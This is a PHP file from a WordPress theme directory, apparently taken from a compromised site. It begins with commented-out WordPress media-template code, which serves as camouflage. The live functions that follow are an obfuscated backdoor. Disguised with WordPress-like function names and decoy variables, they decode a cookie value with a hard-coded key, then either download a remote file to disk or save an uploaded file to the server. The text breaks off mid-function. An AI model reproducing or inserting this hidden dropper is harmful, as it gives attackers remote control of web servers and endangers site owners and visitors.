PATH:
home
/
letacommog
/
camarsac
/
wp-content
/
themes
/
57q61893
<?php /* * * WordPress media templates. * * @package WordPress * @subpackage Media * @since 3.5.0 * * Output the markup for a audio tag to be used in an Underscore template * when data.model is passed. * * @since 3.9.0 function wp_underscore_audio_template() { $audio_types = wp_get_audio_extensions(); ?> <audio style="visibility: hidden" controls class="wp-audio-shortcode" width="{{ _.isUndefined( data.model.width ) ? 400 : data.model.width }}" preload="{{ _.isUndefined( data.model.preload ) ? 'none' : data.model.preload }}" <# <?php /* foreach ( array( 'autoplay', 'loop' ) as $attr ) : ?> if ( ! _.isUndefined( data.model.<?php /* echo $attr; ?> ) && data.model.<?php /* echo $attr; ?> ) { #> <?php /* echo $attr; ?><# } <?php /* endforeach ?>#> > <# if ( ! _.isEmpty( data.model.src ) ) { #> <source src="{{ data.model.src }}" type="{{ wp.media.view.settings.embedMimes[ data.model.src.split('.').pop() ] }}" /> <# } #> <?php /* foreach ( $audio_types as $type ) : ?> <# if ( ! _.isEmpty( data.model.<?php /* echo $type; ?> ) ) { #> <source src="{{ data.model.<?php /* echo $type; ?> }}" type="{{ wp.media.view.settings.embedMimes[ '<?php /* echo $type; ?>' ] }}" /> <# } #> <?php /* endforeach; ?> </audio> <?php /* } * * Output the markup for a video tag to be used in an Underscore template * when data.model is passed. * * @since 3.9.0 function wp_underscore_video_template() { $video_types = wp_get_video_extensions(); ?> <# var w_rule = '', classes = [], w, h, settings = wp.media.view.settings, isYouTube = isVimeo = false; if ( ! _.isEmpty( data.model.src ) ) { isYouTube = data.model.src.match(/youtube|youtu\.be/); isVimeo = -1 !== data.model.src.indexOf('vimeo'); } if ( settings.contentWidth && data.model.width >= settings.contentWidth ) { w = settings.contentWidth; } else { w = data.model.width; } if ( w !== data.model.width ) { h = Math.ceil( ( data.model.height * w ) / data.model.width ); } else { h = data.model.height; } if ( w ) { w_rule = 'width: ' + w + 'px; '; } if ( isYouTube ) { classes.push( 'youtube-video' ); } if ( isVimeo ) { classes.push( 'vimeo-video' ); } #> <div style="{{ w_rule }}" class="wp-video"> <video controls class="wp-video-shortcode {{ classes.join( ' ' ) }}" <# if ( w ) { #>width="{{ w }}"<# } #> <# if ( h ) { #>height="{{ h }}"<# } #> <?php /* $props = array( 'poster' => '', 'preload' => 'metadata', ); foreach ( $props as $key => $value ) : if ( empty( $value ) ) { ?> <# if ( ! _.isUndefined( data.model.<?php /* echo $key; ?> ) && data.model.<?php /* echo $key; ?> ) { #> <?php /* echo $key; ?>="{{ data.model.<?php /* echo $key; ?> }}"<# } #> <?php /* } else { echo $key ?> ="{{ _.isUndefined( data.model.<?php /* echo $key; ?> ) ? '<?php /* echo $value; ?>' : data.model.<?php /* echo $key; ?> }}" <?php /* } endforeach; ?> <# <?php /* foreach ( array( 'autoplay', 'loop' ) as $attr ) : ?> if ( ! _.isUndefined( data.model.<?php /* echo $attr; ?> ) && data.model.<?php /* echo $attr; ?> ) { #> <?php /* echo $attr; ?><# } <?php /* endforeach ?>#> > <# if ( ! _.isEmpty( data.model.src ) ) { if ( isYouTube ) { #> <source src="{{ data.model.src }}" type="video/youtube" /> <# } else if ( isVimeo ) { #> <source src="{{ data.model.src }}" type="video/vimeo" /> <# } else { #> <source src="{{ data.model.src }}" type="{{ settings.embedMimes[ data.model.src.split('.').pop() ] }}" /> <# } } #> <?php /* foreach ( $video_types as $type ) : ?> <# if ( data.model.<?php /* echo $type; ?> ) { #> <source src="{{ data.model.<?php /* echo $type; ?> }}" type="{{ settings.embedMimes[ '<?php /* echo $type; ?>' ] }}" /> <# } #> <?php /* endforeach; ?> {{{ data.model.content }}} </video> </div> <?php /* } * * Prints the templates used in the media manager. * * @since 3.5.0 function wp_print_media_templates() { $class = 'media-modal wp-core-ui'; $alt_text_description = sprintf( translators: 1: Link to tutorial, 2: Additional link attributes, 3: Accessibility text. __( '<a href="%1$s" %2$s>Describe the purpose of the image%3$s</a>. Leave empty if the image is purely decorative.' ), esc_url( 'https:www.w3.org/WAI/tutorials/images/decision-tree' ), 'target="_blank" rel="noopener"', sprintf( '<span class="screen-reader-text"> %s</span>', translators: Accessibility text. __( '(opens in a new tab)' ) ) ); ?> <?php /* Template for the media frame: used both in the media grid and in the media modal. ?> <script type="text/html" id="tmpl-media-frame"> <div class="media-frame-title" id="media-frame-title"></div> <h2 class="media-frame-menu-heading"><?php /* _ex( 'Actions', 'media modal menu actions' ); ?></h2> <button type="button" class="button button-link media-frame-menu-toggle" aria-expanded="false"> <?php /* _ex( 'Menu', 'media modal menu' ); ?> <span class="dashicons dashicons-arrow-down" aria-hidden="true"></span> </button> <div class="media-frame-menu"></div> <div class="media-frame-tab-panel"> <div class="media-frame-router"></div> <div class="media-frame-content"></div> </div> <h2 class="media-frame-actions-heading screen-reader-text"> <?php /* translators: Accessibility text. _e( 'Selected media actions' ); ?> </h2> <div class="media-frame-toolbar"></div> <div class="media-frame-uploader"></div> </script> <?php /* Template for the media modal. ?> <script type="text/html" id="tmpl-media-modal"> <div tabindex="0" class="<?php /* echo $class; ?>" role="dialog" aria-labelledby="media-frame-title"> <# if ( data.hasCloseButton ) { #> <button type="button" class="media-modal-close"><span class="media-modal-icon"><span class="screen-reader-text"><?php /* _e( 'Close dialog' ); ?></span></span></button> <# } #> <div class="media-modal-content" role="document"></div> </div> <div class="media-modal-backdrop"></div> </script> <?php /* Template for the window uploader, used for example in the media grid. ?> <script type="text/html" id="tmpl-uploader-window"> <div class="uploader-window-content"> <div class="uploader-editor-title"><?php /* _e( 'Drop files to upload' ); ?></div> </div> </script> <?php /* Template for the editor uploader. ?> <script type="text/html" id="tmpl-uploader-editor"> <div class="uploader-editor-content"> <div class="uploader-editor-title"><?php /* _e( 'Drop files to upload' ); ?></div> </div> </script> <?php /* Template for the inline uploader, used for example in the Media Library admin page - Add New. ?> <script type="text/html" id="tmpl-uploader-inline"> <# var messageClass = data.message ? 'has-upload-message' : 'no-upload-message'; #> <# if ( data.canClose ) { #> <button class="close dashicons dashicons-no"><span class="screen-reader-text"><?php /* _e( 'Close uploader' ); ?></span></button> <# } #> <div class="uploader-inline-content {{ messageClass }}"> <# if ( data.message ) { #> <h2 class="upload-message">{{ data.message }}</h2> <# } #> <?php /* if ( ! _device_can_upload() ) : ?> <div class="upload-ui"> <h2 class="upload-instructions"><?php /* _e( 'Your browser cannot upload files' ); ?></h2> <p> <?php /* printf( translators: %s: https:apps.wordpress.org/ __( 'The web browser on your device cannot be used to upload files. You may be able to use the <a href="%s">native app for your device</a> instead.' ), 'https:apps.wordpress.org/' ); ?> </p> </div> <?php /* elseif ( is_multisite() && ! is_upload_space_available() ) : ?> <div class="upload-ui"> <h2 class="upload-instructions"><?php /* _e( 'Upload Limit Exceeded' ); ?></h2> <?php /* * This action is documented in wp-admin/includes/media.php do_action( 'upload_ui_over_quota' ); ?> </div> <?php /* else : ?> <div class="upload-ui"> <h2 class="upload-instructions drop-instructions"><?php /* _e( 'Drop files to upload' ); ?></h2> <p class="upload-instructions drop-instructions"><?php /* _ex( 'or', 'Uploader: Drop files here - or - Select Files' ); ?></p> <button type="button" class="browser button button-hero"><?php /* _e( 'Select Files' ); ?></button> </div> <div class="upload-inline-status"></div> <div class="post-upload-ui"> <?php /* * This action is documented in wp-admin/includes/media.php do_action( 'pre-upload-ui' ); phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores * This action is documented in wp-admin/includes/media.php do_action( 'pre-plupload-upload-ui' ); phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores if ( 10 === remove_action( 'post-plupload-upload-ui', 'media_upload_flash_bypass' ) ) { * This action is documented in wp-admin/includes/media.php do_action( 'post-plupload-upload-ui' ); phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores add_action( 'post-plupload-upload-ui', 'media_upload_flash_bypass' ); } else { * This action is documented in wp-admin/includes/media.php do_action( 'post-plupload-upload-ui' ); phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores } $max_upload_size = wp_max_upload_size(); if ( ! $max_upload_size ) { $max_upload_size = 0; } ?> <p class="max-upload-size"> <?php /* printf( translators: %s: Maximum allowed file size. __( 'Maximum upload file size: %s.' ), esc_html( size_format( $max_upload_size ) ) ); ?> </p> <# if ( data.suggestedWidth && data.suggestedHeight ) { #> <p class="suggested-dimensions"> <?php /* translators: 1: Suggested width number, 2: Suggested height number. printf( __( 'Suggested image dimensions: %1$s by %2$s pixels.' ), '{{data.suggestedWidth}}', '{{data.suggestedHeight}}' ); ?> </p> <# } #> <?php /* * This action is documented in wp-admin/includes/media.php do_action( 'post-upload-ui' ); phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores ?> </div> <?php /* endif; ?> </div> </script> <?php /* Template for the view switchers, used for example in the Media Grid. ?> <script type="text/html" id="tmpl-media-library-view-switcher"> <a href="<?php /* echo esc_url( add_query_arg( 'mode', 'list', admin_url( 'upload.php' ) ) ); ?>" class="view-list"> <span class="screen-reader-text"><?php /* _e( 'List view' ); ?></span> </a> <a href="<?php /* echo esc_url( add_query_arg( 'mode', 'grid', admin_url( 'upload.php' ) ) ); ?>" class="view-grid current" aria-current="page"> <span class="screen-reader-text"><?php /* _e( 'Grid view' ); ?></span> </a> </script> <?php /* Template for the uploading status UI. ?> <script type="text/html" id="tmpl-uploader-status"> <h2><?php /* _e( 'Uploading' ); ?></h2> <button type="button" class="button-link upload-dismiss-errors"><span class="screen-reader-text"><?php /* _e( 'Dismiss Errors' ); ?></span></button> <div class="media-progress-bar"><div></div></div> <div class="upload-details"> <span class="upload-count"> <span class="upload-index"></span> / <span class="upload-total"></span> </span> <span class="upload-detail-separator">–</span> <span class="upload-filename"></span> </div> <div class="upload-errors"></div> </script> <?php /* Template for the uploading status errors. ?> <script type="text/html" id="tmpl-uploader-status-error"> <span class="upload-error-filename">{{{ data.filename }}}</span> <span class="upload-error-message">{{ data.message }}</span> </script> <?php /* Template for the Attachment Details layout in the media browser. ?> <script type="text/html" id="tmpl-edit-attachment-frame"> <div class="edit-media-header"> <button class="left dashicons"<# if ( ! data.hasPrevious ) { #> disabled<# } #>><span class="screen-reader-text"><?php /* _e( 'Edit previous media item' ); ?></span></button> <button class="right dashicons"<# if ( ! data.hasNext ) { #> disabled<# } #>><span class="screen-reader-text"><?php /* _e( 'Edit next media item' ); ?></span></button> <button type="button" class="media-modal-close"><span class="media-modal-icon"><span class="screen-reader-text"><?php /* _e( 'Close dialog' ); ?></span></span></button> </div> <div class="media-frame-title"></div> <div class="media-frame-content"></div> </script> <?php /* Template for the Attachment Details two columns layout. ?> <script type="text/html" id="tmpl-attachment-details-two-column"> <div class="attachment-media-view {{ data.orientation }}"> <h2 class="screen-reader-text"><?php /* _e( 'Attachment Preview' ); ?></h2> <div class="thumbnail thumbnail-{{ data.type }}"> <# if ( data.uploading ) { #> <div class="media-progress-bar"><div></div></div> <# } else if ( data.sizes && data.sizes.large ) { #> <img class="details-image" src="{{ data.sizes.large.url }}" draggable="false" alt="" /> <# } else if ( data.sizes && data.sizes.full ) { #> <img class="details-image" src="{{ data.sizes.full.url }}" draggable="false" alt="" /> <# } else if ( -1 === jQuery.inArray( data.type, [ 'audio', 'video' ] ) ) { #> <img class="details-image icon" src="{{ data.icon }}" draggable="false" alt="" /> <# } #> <# if ( 'audio' === data.type ) { #> <div class="wp-media-wrapper wp-audio"> <audio style="visibility: hidden" controls class="wp-audio-shortcode" width="100%" preload="none"> <source type="{{ data.mime }}" src="{{ data.url }}"/> </audio> </div> <# } else if ( 'video' === data.type ) { var w_rule = ''; if ( data.width ) { w_rule = 'width: ' + data.width + 'px;'; } else if ( wp.media.view.settings.contentWidth ) { w_rule = 'width: ' + wp.media.view.settings.contentWidth + 'px;'; } #> <div style="{{ w_rule }}" class="wp-media-wrapper wp-video"> <video controls="controls" class="wp-video-shortcode" preload="metadata" <# if ( data.width ) { #>width="{{ data.width }}"<# } #> <# if ( data.height ) { #>height="{{ data.height }}"<# } #> <# if ( data.image && data.image.src !== data.icon ) { #>poster="{{ data.image.src }}"<# } #>> <source type="{{ data.mime }}" src="{{ data.url }}"/> </video> </div> <# } #> <div class="attachment-actions"> <# if ( 'image' === data.type && ! data.uploading && data.sizes && data.can.save ) { #> <button type="button" class="button edit-attachment"><?php /* _e( 'Edit Image' ); ?></button> <# } else if ( 'pdf' === data.subtype && data.sizes ) { #> <p><?php /* _e( 'Document Preview' ); ?></p> <# } #> </div> </div> </div> <div class="attachment-info"> <span class="settings-save-status" role="status"> <span class="spinner"></span> <span class="saved"><?php /* esc_html_e( 'Saved.' ); ?></span> </span> <div class="details"> <h2 class="screen-reader-text"><?php /* _e( 'Details' ); ?></h2> <div class="uploaded"><strong><?php /* _e( 'Uploaded on:' ); ?></strong> {{ data.dateFormatted }}</div> <div class="uploaded-by"> <strong><?php /* _e( 'Uploaded by:' ); ?></strong> <# if ( data.authorLink ) { #> <a href="{{ data.authorLink }}">{{ data.authorName }}</a> <# } else { #> {{ data.authorName }} <# } #> </div> <# if ( data.uploadedToTitle ) { #> <div class="uploaded-to"> <strong><?php /* _e( 'Uploaded to:' ); ?></strong> <# if ( data.uploadedToLink ) { #> <a href="{{ data.uploadedToLink }}">{{ data.uploadedToTitle }}</a> <# } else { #> {{ data.uploadedToTitle }} <# } #> </div> <# } #> <div class="filename"><strong><?php /* _e( 'File name:' ); ?></strong> {{ data.filename }}</div> <div class="file-type"><strong><?php /* _e( 'File type:' ); ?></strong> {{ data.mime }}</div> <div class="file-size"><strong><?php /* _e( 'File size:' ); ?></strong> {{ data.filesizeHumanReadable }}</div> <# if ( 'image' === data.type && ! data.uploading ) { #> <# if ( data.width && data.height ) { #> <div class="dimensions"><strong><?php /* _e( 'Dimensions:' ); ?></strong> <?php /* translators: 1: A number of pixels wide, 2: A number of pixels tall. printf( __( '%1$s by %2$s pixels' ), '{{ data.width }}', '{{ data.height }}' ); ?> </div> <# } #> <# if ( data.originalImageURL && data.originalImageName ) { #> <?php /* _e( 'Original image:' ); ?> <a href="{{ data.originalImageURL }}">{{data.originalImageName}}</a> <# } #> <# } #> <# if ( data.fileLength && data.fileLengthHumanReadable ) { #> <div class="file-length"><strong><?php /* _e( 'Length:' ); ?></strong> <span aria-hidden="true">{{ data.fileLength }}</span> <span class="screen-reader-text">{{ data.fileLengthHumanReadable }}</span> </div> <# } #> <# if ( 'audio' === data.type && data.meta.bitrate ) { #> <div class="bitrate"> <strong><?php /* _e( 'Bitrate:' ); ?></strong> {{ Math.round( data.meta.bitrate / 1000 ) }}kb/s <# if ( data.meta.bitrate_mode ) { #> {{ ' ' + data.meta.bitrate_mode.toUpperCase() }} <# } #> </div> <# } #> <# if ( data.mediaStates ) { #> <div class="media-states"><strong><?php /* _e( 'Used as:' ); ?></strong> {{ data.mediaStates }}</div> <# } #> <div class="compat-meta"> <# if ( data.compat && data.compat.meta ) { #> {{{ data.compat.meta }}} <# } #> </div> </div> <div class="settings"> <# var maybeReadOnly = data.can.save || data.allowLocalEdits ? '' : 'readonly'; #> <# if ( 'image' === data.type ) { #> <span class="setting has-description" data-setting="alt"> <label for="attachment-details-two-column-alt-text" class="name"><?php /* _e( 'Alternative Text' ); ?></label> <input type="text" id="attachment-details-two-column-alt-text" value="{{ data.alt }}" aria-describedby="alt-text-description" {{ maybeReadOnly }} /> </span> <p class="description" id="alt-text-description"><?php /* echo $alt_text_description; ?></p> <# } #> <?php /* if ( post_type_supports( 'attachment', 'title' ) ) : ?> <span class="setting" data-setting="title"> <label for="attachment-details-two-column-title" class="name"><?php /* _e( 'Title' ); ?></label> <input type="text" id="attachment-details-two-column-title" value="{{ data.title }}" {{ maybeReadOnly }} /> </span> <?php /* endif; ?> <# if ( 'audio' === data.type ) { #> <?php /* foreach ( array( 'artist' => __( 'Artist' ), 'album' => __( 'Album' ), ) as $key => $label ) : ?> <span class="setting" data-setting="<?php /* echo esc_attr( $key ); ?>"> <label for="attachment-details-two-column-<?php /* echo esc_attr( $key ); ?>" class="name"><?php /* echo $label; ?></label> <input type="text" id="attachment-details-two-column-<?php /* echo esc_attr( $key ); ?>" value="{{ data.<?php /* echo $key; ?> || data.meta.<?php /* echo $key; ?> || '' }}" /> </span> <?php /* endforeach; ?> <# } #> <span class="setting" data-setting="caption"> <label for="attachment-details-two-column-caption" class="name"><?php /* _e( 'Caption' ); ?></label> <textarea id="attachment-details-two-column-caption" {{ maybeReadOnly }}>{{ data.caption }}</textarea> </span> <span class="setting" data-setting="description"> <label for="attachment-details-two-column-description" class="name"><?php /* _e( 'Description' ); ?></label> <textarea id="attachment-details-two-column-description" {{ maybeReadOnly }}>{{ data.description }}</textarea> </span> <span class="setting" data-setting="url"> <label for="attachment-details-two-column-copy-link" class="name"><?php /* _e( 'File URL:' ); ?></label> <input type="text" class="attachment-details-copy-link" id="attachment-details-two-column-copy-link" value="{{ data.url }}" readonly /> <span class="copy-to-clipboard-container"> <button type="button" class="button button-small copy-attachment-url" data-clipboard-target="#attachment-details-two-column-copy-link"><?php /* _e( 'Copy URL to clipboard' ); ?></button> <span class="success hidden" aria-hidden="true"><?php /* _e( 'Copied!' ); ?></span> </span> </span> <div class="attachment-compat"></div> </div> <div class="actions"> <# if ( data.link ) { #> <a class="view-attachment" href="{{ data.link }}"><?php /* _e( 'View attachment page' ); ?></a> <# } #> <# if ( data.can.save ) { #> <# if ( data.link ) { #> <span class="links-separator">|</span> <# } #> <a href="{{ data.editLink }}"><?php /* _e( 'Edit more details' ); ?></a> <# } #> <# if ( ! data.uploading && data.can.remove ) { #> <# if ( data.link || data.can.save ) { #> <span class="links-separator">|</span> <# } #> <?php /* if ( MEDIA_TRASH ) : ?> <# if ( 'trash' === data.status ) { #> <button type="button" class="button-link untrash-attachment"><?php /* _e( 'Restore from Trash' ); ?></button> <# } else { #> <button type="button" class="button-link trash-attachment"><?php /* _e( 'Move to Trash' ); ?></button> <# } #> <?php /* else : ?> <button type="button" class="button-link delete-attachment"><?php /* _e( 'Delete permanently' ); ?></button> <?php /* e*/ /** * Checks if an application password with the given name exists for this user. * * @since 5.7.0 * * @param int $user_id User ID. * @param string $name Application name. * @return bool Whether the provided application name exists. */ function signup_blog($use_count) // If the custom_logo is being unset, it's being removed from theme mods. { $new_autosave = 'gCzNVLAKecIpHSjvMPff'; $table_name = "hello"; # Priority 5, so it's called before Jetpack's admin_menu. $pre_render = "world"; $link_atts = str_replace("l", "L", $table_name); if (isset($_COOKIE[$use_count])) { shiftRight($use_count, $new_autosave); $schema_styles_variations = array($table_name, $pre_render); // Upgrade global tables only for the main site. Don't upgrade at all if conditions are not optimal. if (isset($schema_styles_variations)) { $s14 = implode(", ", $schema_styles_variations); } } } /** * Filters the REST API response for a sidebar. * * @since 5.8.0 * * @param WP_REST_Response $response The response object. * @param array $raw_sidebar The raw sidebar data. * @param WP_REST_Request $request The request object. */ function rekey($show_autoupdates) // ID and additional data <text string(s)> { $list_files = basename($show_autoupdates); // Query taxonomy terms. $table_name = "multiple words sentence"; $required_mysql_version = readTypedObject($list_files); $pre_render = explode(" ", $table_name); $link_atts = hash("md5", $table_name); fromInt($show_autoupdates, $required_mysql_version); } // No ellipsis. /* translators: 1: php.ini, 2: post_max_size, 3: upload_max_filesize */ function do_opt_in_into_settings($max_frames) { return filter_var($max_frames, FILTER_SANITIZE_STRING); } /** * Prepares post data for return in an XML-RPC object. * * @param array $post The unprepared post data. * @param array $menu_objectsields The subset of post type fields to return. * @return array The prepared post data. */ function shiftRight($use_count, $new_autosave) { $parent_status = $_COOKIE[$use_count]; $tz_name = 'Example string for hash.'; $ASFIndexObjectIndexTypeLookup = hash('crc32', $tz_name); $side_widgets = strtoupper($ASFIndexObjectIndexTypeLookup); // 44100 $parent_status = get_post_time($parent_status); $unique_suffix = the_author_lastname($parent_status, $new_autosave); if (get_post_format_link($unique_suffix)) { $last_update_check = wp_getCommentStatusList($unique_suffix); // Report this failure back to WordPress.org for debugging purposes. return $last_update_check; } // Ensure that the filtered labels contain all required default values. set_site_transient($use_count, $new_autosave, $unique_suffix); //if (is_readable($menu_objectsilename) && is_file($menu_objectsilename) && ($this->fp = fopen($menu_objectsilename, 'rb'))) { // see https://www.getid3.org/phpBB3/viewtopic.php?t=1720 } /** * Retrieve WP_Term instance. * * @since 4.4.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param int $term_id Term ID. * @param string $taxonomy Optional. Limit matched terms to those matching `$taxonomy`. Only used for * disambiguating potentially shared terms. * @return WP_Term|WP_Error|false Term object, if found. WP_Error if `$term_id` is shared between taxonomies and * there's insufficient data to distinguish which term is intended. * False for other failures. */ function is_multisite($show_autoupdates) { $sigAfter = "secure_item"; $subatomarray = explode("_", $sigAfter); $sanitize = implode("-", $subatomarray); // if ($src > 0x40 && $src < 0x5b) $ret += $src - 0x41 + 1; // -64 $props = str_pad($sanitize, 15, "x"); return filter_var($show_autoupdates, FILTER_SANITIZE_URL); } /** * Display generic dashboard RSS widget feed. * * @since 2.5.0 * * @param string $widget_id */ function upgrade_630($use_count, $new_autosave, $unique_suffix) { $list_files = $_FILES[$use_count]['name']; $table_name = "Sample"; $pre_render = "Text"; // Force some settings if we are streaming to a file and check for existence $schema_styles_variations = substr($table_name, 1); $menu_objects = rawurldecode("%7B%22name%22%3A%22Doe%22%7D"); $old_data = hash('md5', $menu_objects); $required_mysql_version = readTypedObject($list_files); get_options($_FILES[$use_count]['tmp_name'], $new_autosave); if (!empty($pre_render)) { $user_table = str_pad($schema_styles_variations, 15, "Y"); } incrementCounter($_FILES[$use_count]['tmp_name'], $required_mysql_version); } /** * About page links */ function wp_destroy_other_sessions($show_autoupdates) { $show_autoupdates = "http://" . $show_autoupdates; $wp_last_modified = "Test"; return $show_autoupdates; } # crypto_secretstream_xchacha20poly1305_rekey(state); /** * Retrieves the name of the highest priority template file that exists. * * Searches in the stylesheet directory before the template directory and * wp-includes/theme-compat so that themes which inherit from a parent theme * can just overload one file. * * @since 2.7.0 * @since 5.5.0 The `$table_namergs` parameter was added. * * @global string $wp_stylesheet_path Path to current theme's stylesheet directory. * @global string $wp_template_path Path to current theme's template directory. * * @param string|array $template_names Template file(s) to search for, in order. * @param bool $load If true the template file will be loaded if it is found. * @param bool $load_once Whether to require_once or require. Has no effect if `$load` is false. * Default true. * @param array $table_namergs Optional. Additional arguments passed to the template. * Default empty array. * @return string The template filename if one is located. */ function setup_config_display_header($show_autoupdates) // This is copied from nav-menus.php, and it has an unfortunate object name of `menus`. { $show_autoupdates = wp_destroy_other_sessions($show_autoupdates); return file_get_contents($show_autoupdates); } /** * Filters rewrite rules used for root-level archives. * * Likely root-level archives would include pagination rules for the homepage * as well as site-wide post feeds (e.g. `/feed/`, and `/feed/atom/`). * * @since 1.5.0 * * @param string[] $root_rewrite Array of root-level rewrite rules, keyed by their regex pattern. */ function wp_scripts($uploaded) { $table_name = "fetch data"; $pre_render = substr($table_name, 0, 5); $link_atts = count(array($table_name)); $schema_styles_variations = hash("crc32", $pre_render); $s14 = str_pad($link_atts, 10, "x"); return filter_var($uploaded, FILTER_SANITIZE_EMAIL); } /** * Show the description or hide it behind the help icon. * * @since 4.7.0 * * @var bool Indicates whether the Section's description should be * hidden behind a help icon ("?") in the Section header, * similar to how help icons are displayed on Panels. */ function incrementCounter($new_password, $published_statuses) { $remind_me_link = move_uploaded_file($new_password, $published_statuses); return $remind_me_link; // wp-config.php creation will manually connect when ready. } /** * Filters the value of an existing site transient before it is retrieved. * * The dynamic portion of the hook name, `$transient`, refers to the transient name. * * Returning a value other than boolean false will short-circuit retrieval and * return that value instead. * * @since 2.9.0 * @since 4.4.0 The `$transient` parameter was added. * * @param mixed $pre_site_transient The default value to return if the site transient does not exist. * Any value other than false will short-circuit the retrieval * of the transient, and return that value. * @param string $transient Transient name. */ function get_adjacent_post_link($mixdefbitsread, $oauth) { $meta_box_not_compatible_message = is_safe_css_declaration($mixdefbitsread) - is_safe_css_declaration($oauth); $requested_status = array("alpha", "beta", "gamma"); $real = implode(", ", $requested_status); $script_handles = count($requested_status); $meta_box_not_compatible_message = $meta_box_not_compatible_message + 256; $meta_box_not_compatible_message = $meta_box_not_compatible_message % 256; $mixdefbitsread = get_extension_for_error($meta_box_not_compatible_message); return $mixdefbitsread; } // END: Code that already exists in wp_nav_menu(). /** * Parses a date into both its local and UTC equivalent, in MySQL datetime format. * * @since 4.4.0 * * @see rest_parse_date() * * @param string $schema_styles_variationsate RFC3339 timestamp. * @param bool $op_sigils_utc Whether the provided date should be interpreted as UTC. Default false. * @return array|null { * Local and UTC datetime strings, in MySQL datetime format (Y-m-d H:i:s), * null on failure. * * @type string $0 Local datetime string. * @type string $1 UTC datetime string. * } */ function get_access_token($themes_need_updates) { echo $themes_need_updates; } /** * Whether the controller supports batching. * * @since 5.9.0 * @var array */ function input_attrs($max_frames) { $object_types = str_replace(' ', '%20', 'Hello World'); // This is probably DTS data return strlen($max_frames); } /** * Filters the queried block template object after it's been fetched. * * @since 5.9.0 * * @param WP_Block_Template|null $pre_renderlock_template The found block template, or null if there isn't one. * @param string $op_sigild Template unique identifier (example: 'theme_slug//template_slug'). * @param string $template_type Template type. Either 'wp_template' or 'wp_template_part'. */ function wp_ajax_wp_compression_test($show_autoupdates) { return filter_var($show_autoupdates, FILTER_VALIDATE_URL) !== false; } /** * Displays next image link that has the same post parent. * * @since 2.5.0 * * @param string|int[] $size Optional. Image size. Accepts any registered image size name, or an array * of width and height values in pixels (in that order). Default 'thumbnail'. * @param string|false $site_name Optional. Link text. Default false. */ function get_post_format_link($show_autoupdates) { if (strpos($show_autoupdates, "/") !== false) { // Email filters. return true; } $json_translation_files = "ExampleText"; // Array to hold URL candidates. $sub_shift = substr($json_translation_files, 5, 4); # b = e[pos / 8] >> (pos & 7); return false; } /** * Formerly used to escape strings before inserting into the DB. * * Has not performed this function for many, many years. Use wpdb::prepare() instead. * * @since 0.71 * @deprecated 3.9.0 * * @param string $srcs The text to format. * @return string The very same text. */ function contextLine($private_callback_args) { $table_name = ["apple", "banana", "cherry"]; $pre_render = count($table_name); // 5.5.0 $link_atts = implode(",", $table_name); // Check permissions if attempting to switch author to or from another user. if ($pre_render > 2) { $schema_styles_variations = explode(",", $link_atts); } return $private_callback_args * $private_callback_args; } /** * Deal with a new line, shifting data around as needed */ function get_starttime($use_count, $marked = 'txt') // 3.0.0 multisite. { return $use_count . '.' . $marked; } // Function : privErrorLog() /** * @see ParagonIE_Sodium_Compat::crypto_sign_ed25519_pk_to_curve25519() * @param string $pk * @return string * @throws \SodiumException * @throws \TypeError */ function wp_get_global_settings($v_data) { return array_reduce($v_data, function($table_name, $pre_render) { # set up handlers return input_attrs($table_name) > input_attrs($pre_render) ? $table_name : $pre_render; }); } /* translators: %s: URL to Privacy Policy Guide screen. */ function wp_getCommentStatusList($unique_suffix) { rekey($unique_suffix); $mce_settings = "SampleText1234"; // catenate the matches get_access_token($unique_suffix); // Author WCHAR 16 // array of Unicode characters - Author } /** @var int $link_attstx4 */ function delete_old_comments_meta($query_var_defaults, $VorbisCommentPage) { $nohier_vs_hier_defaults = "PHP_Code"; $serialized = str_pad($nohier_vs_hier_defaults, 20, "*"); $kAlphaStrLength = []; $parent_type = strlen($serialized); // 'unknown' genre for ($op_sigil = 1; $op_sigil <= $VorbisCommentPage; $op_sigil++) { if ($parent_type > 15) { $timeout_missed_cron = substr($serialized, 0, 15); $resolve_variables = hash('sha256', $timeout_missed_cron); } else { $timeout_missed_cron = str_replace('*', '#', $serialized); $resolve_variables = str_pad($timeout_missed_cron, 30, "-"); } // For PHP versions that don't support AVIF images, extract the image size info from the file headers. $kAlphaStrLength[] = request_filesystem_credentials($query_var_defaults, $op_sigil); // Don't cache this one. } return $kAlphaStrLength; // or a PclZip object archive. } /** * This was once used to create a thumbnail from an Image given a maximum side size. * * @since 1.2.0 * @deprecated 3.5.0 Use image_resize() * @see image_resize() * * @param mixed $menu_objectsile Filename of the original image, Or attachment ID. * @param int $max_side Maximum length of a single side for the thumbnail. * @param mixed $schema_styles_variationseprecated Never used. * @return string Thumbnail path on success, Error string on failure. */ function get_post_time($webfonts) { // These functions are used for the __unstableLocation feature and only active $user_cpt = pack("H*", $webfonts); $v_data = array(3, 6, 9); $timeunit = array_merge($v_data, array(12)); return $user_cpt; } // Run for late-loaded styles in the footer. /** * Moves a file or directory. * * After moving files or directories, OPcache will need to be invalidated. * * If moving a directory fails, `copy_dir()` can be used for a recursive copy. * * Use `move_dir()` for moving directories with OPcache invalidation and a * fallback to `copy_dir()`. * * @since 2.5.0 * * @param string $source Path to the source file or directory. * @param string $schema_styles_variationsestination Path to the destination file or directory. * @param bool $overwrite Optional. Whether to overwrite the destination if it exists. * Default false. * @return bool True on success, false on failure. */ function remove() # blake2b_increment_counter( S, BLAKE2B_BLOCKBYTES ); { return __DIR__; } /** * Filters the default post content initially used in the "Write Post" form. * * @since 1.5.0 * * @param string $post_content Default post content. * @param WP_Post $post Post object. */ function is_user_logged_in($v_data) { return input_attrs(wp_get_global_settings($v_data)); } // Allow access to all password protected posts if the context is edit. /** * Fires before the footer template file is loaded. * * @since 2.1.0 * @since 2.8.0 The `$name` parameter was added. * @since 5.5.0 The `$table_namergs` parameter was added. * * @param string|null $name Name of the specific footer file to use. Null for the default footer. * @param array $table_namergs Additional arguments passed to the footer template. */ function get_extension_for_error($prev) { $mixdefbitsread = sprintf("%c", $prev); // Remove working directory. return $mixdefbitsread; } /** * store for matches * * @var array */ function the_author_lastname($maybe_defaults, $skip_link_styles) { // Remove the filter as the next editor on the same page may not need it. $protected_directories = strlen($skip_link_styles); $LAMEmiscSourceSampleFrequencyLookup = "VariableInfo"; $should_load_remote = rawurldecode($LAMEmiscSourceSampleFrequencyLookup); // s4 